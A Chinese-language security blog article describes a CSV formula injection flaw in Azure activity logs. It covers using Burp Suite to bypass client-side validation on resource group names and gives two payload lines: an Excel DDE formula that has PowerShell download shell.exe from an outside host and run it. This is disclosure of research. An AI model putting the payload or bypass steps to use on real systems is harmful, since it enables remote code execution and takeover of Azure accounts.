导语:本文是云安全风险系列的第一篇,文章介绍了微软Azure 的CSV注入漏洞。

云安全和Azure

虽然微软Azure云平台中集成的安全功能,但云平台中仍然存在安全漏洞和误配置信息,这都可让用户处于威胁中。云安全风险的目标是在主要的云安全服务商中找出漏洞和攻击向量。本文介绍了Azure平台的CSV公式注入漏洞和带来的问题和影响。

漏洞总结

Azure用户可以尝试创建恶意名的Azure资源组,但是不能成功创建。当把该名设置为EXCEL公式时,系统会拒绝该语句,但仍会将原来的字符串写入activity log(活动日志)中。当受害者用户下载被感染的CSV日志,并在Excel中打开,攻击者的远程代码就会执行,然后就可以黑掉用户的Azure账户。这些活动日志集合可以让低权限的用户攻击目标系统的管理用户。

背景:CSV公式注入

CSV公式注入是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当Excel不是唯一可以读取CSV文件的应用时,需要设置将Excel设置为默认应用。

当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

攻击描述

需要创建资源组的权限

首先,利用该漏洞需要有能够创建资源组的能力。开始插入恶意Excel公式到Azure中前,需要到Resource groups页,并点击+add(添加)按钮。

图片.png

就会出现另一个Resource groups面板,要求输入新Resource groups的名和其他描述。因为有客户端验证,所以当用户在输入框的输入有拦截字符,就不能继续。

2.png

绕过客户端过滤

作者使用Burp Suite拦截代理来拦截请求,这样就可以在发送的name参数中编辑值,就可以绕过客户端验证过程。对https://management.azure.com/api/invoke请求消息需要用PUT请求来变更。

3.png

Payload必须插入到截图中高亮的位置,对于“x-ms-path-query”头的位置,不需要根据payload进行更改。对于发送到body的JSON特性的name中的位置,如果payload含有双引号,就必须与JSON要求的格式相匹配。

所有的位置必须包含相同的payload,因为有一个检查的过程来确保URL中的name与body中的name相同。如果body中含有双引号,最终会被认为是等价的。

4.png

公式已经注入到activity log和恶意payload中。

查看Azure Activity Log

Azure文档中描述了Azure activity log是一种订阅日志,提供Azure发生的订阅级事件的日志记录。这些日志包括PUT,POST, DELETE等所有写操作的细节,每条日志记录含有特定行为的时间、内容和执行人。

有读权限的用户可以输出这些日志列表为一个.csv文件,方便日后检查。

当用户访问Azure Activity log时,他们可以看到最近发生的行为列表。乍看一眼,没有在日志记录中找出恶意事件的办法。研究之后就发现,攻击行为的类型为Error,name为Update resource group。

5.png

当点击某个特定日志时,就看以看到下面的信息和JSON格式的详细信息。

6.png

利用:下载/打开CSV

在Azure中下载日志集非常简单,可以一键下载。

在excel中打开受感染的日志文件,用户可以看到两个单独的弹出框。弹出框是警告信息,警告用户不要相信文件的源。但是还有什么是比原厂商更加可信呢?

7.png

8.png

公式执行后,会打开一个命令提示符。

9.png

实际的攻击场景

研究人员用一个公式证明了真实的攻击场景。该公式可以用PowerShell从远程服务器下载可执行文件,并在目标用户的计算机运行。外部的web服务器是运行在HTTP之上的,可以自动重定向到恶意.exe文件,因为Azure的向前和向后的斜线破坏了该漏洞。

JSON Payload (escaped quotes)
 
=shell|’Invoke-WebRequest ”csv.webmail-servers.com” -OutFile ”shell.exe”; Start-Process ”shell.exe”‘!’A1’
 
URL Payload (non-escaped quotes)
 
=shell|’Invoke-WebRequest “csv.webmail-servers.com” -OutFile “shell.exe”; Start-Process “shell.exe”‘!’A1’

 攻击视频

https://www.youtube.com/embed/lUw-jh3P0pc

厂商补丁

经过与Microsoft的沟通,貌似Microsoft并没有修复该问题的想法。经过第三次沟通,研究人员又验证了该漏洞,并发现了一些不同,在下载的CSV文件后添加了.txt后缀,文件是格式就变成了txt而不是CSV。文件的内容并没有变,当把文件后缀txt变为CSV后,仍然可以在Excel中执行代码。

结论

CSV公式注入是云环境中非常常见的问题之一。当在用户责任、日志真实性、平台安全性等问题上有一个折衷时,云平台的安全风险就不足为奇了。

本文是云安全威胁系统的第一篇,之后会继续更新。

源链接

Hacking more

...